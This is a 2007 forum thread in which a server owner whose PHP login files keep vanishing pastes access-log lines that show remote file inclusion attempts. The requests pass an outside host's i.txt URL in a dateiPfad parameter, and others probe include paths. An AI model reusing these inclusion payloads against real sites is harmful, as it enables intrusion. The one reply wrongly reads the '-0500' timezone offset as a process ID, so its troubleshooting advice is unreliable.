some script on the server removes my files.

Collapse
X
Collapse
 
  • Page of 1
  • Time
  • Show
Clear All
new posts
Previous template Next
  • jonathan184
    New Member
    • Nov 2006
    • 154
    #1

    some script on the server removes my files.

    Hi my server has some script/s that deletes php files from my server that contail log, so it deletes login.php, logout.php and you know the rest.

    When i checked the access.log i saw these lines
    127.0.0.1 - - [05/Dec/2007:16:15:22 -0500] "GET /?dateiPfad=http ://www.trinitymedi a.co.za/cache/i.txt%3f HTTP/1.1" 200 3487 "-" "libwww-perl/5.803"
    127.0.0.1 - - [05/Dec/2007:16:15:43 -0500] "GET /?dateiPfad=http ://www.trinitymedi a.co.za/cache/i.txt%3f HTTP/1.1" 200 3487 "-" "libwww-perl/5.803"
    127.0.0.1 - - [05/Dec/2007:16:16:24 -0500] "GET /?dateiPfad=http ://www.trinitymedi a.co.za/cache/i.txt%3f HTTP/1.1" 200 3487 "-" "libwww-perl/5.803"
    127.0.0.1 - - [05/Dec/2007:16:16:25 -0500] "GET /?katID=19//includes HTTP/1.1" 200 3487 "-" "libwww-perl/5.803"
    127.0.0.1 - - [05/Dec/2007:16:16:25 -0500] "GET /?katID=/includes HTTP/1.1" 200 3487 "-" "libwww-perl/5.803"
    127.0.0.1 - - [05/Dec/2007:16:22:58 -0500] "GET /?katID=19/online-shops//includes HTTP/1.1" 200 3487 "-" "libwww-perl/5.803"

    is there any commands i could use to locate these files and delete them. Anybody have answers, that could help me out please.
    Tags: None
    • ashitpro
      Recognized Expert Contributor
      • Aug 2007
      • 542
      #2
      Originally posted by jonathan184
      Hi my server has some script/s that deletes php files from my server that contail log, so it deletes login.php, logout.php and you know the rest.

      When i checked the access.log i saw these lines
      127.0.0.1 - - [05/Dec/2007:16:15:22 -0500] "GET /?dateiPfad=http ://www.trinitymedi a.co.za/cache/i.txt%3f HTTP/1.1" 200 3487 "-" "libwww-perl/5.803"
      127.0.0.1 - - [05/Dec/2007:16:15:43 -0500] "GET /?dateiPfad=http ://www.trinitymedi a.co.za/cache/i.txt%3f HTTP/1.1" 200 3487 "-" "libwww-perl/5.803"
      127.0.0.1 - - [05/Dec/2007:16:16:24 -0500] "GET /?dateiPfad=http ://www.trinitymedi a.co.za/cache/i.txt%3f HTTP/1.1" 200 3487 "-" "libwww-perl/5.803"
      127.0.0.1 - - [05/Dec/2007:16:16:25 -0500] "GET /?katID=19//includes HTTP/1.1" 200 3487 "-" "libwww-perl/5.803"
      127.0.0.1 - - [05/Dec/2007:16:16:25 -0500] "GET /?katID=/includes HTTP/1.1" 200 3487 "-" "libwww-perl/5.803"
      127.0.0.1 - - [05/Dec/2007:16:22:58 -0500] "GET /?katID=19/online-shops//includes HTTP/1.1" 200 3487 "-" "libwww-perl/5.803"

      is there any commands i could use to locate these files and delete them. Anybody have answers, that could help me out please.

      I don't know about fields of access.log
      But I guess 500 should be process id for that script.
      locate it with ps -eLF | grep 500
      and find out which process is deleting your files

        Comment

        Previous template Next
        Working...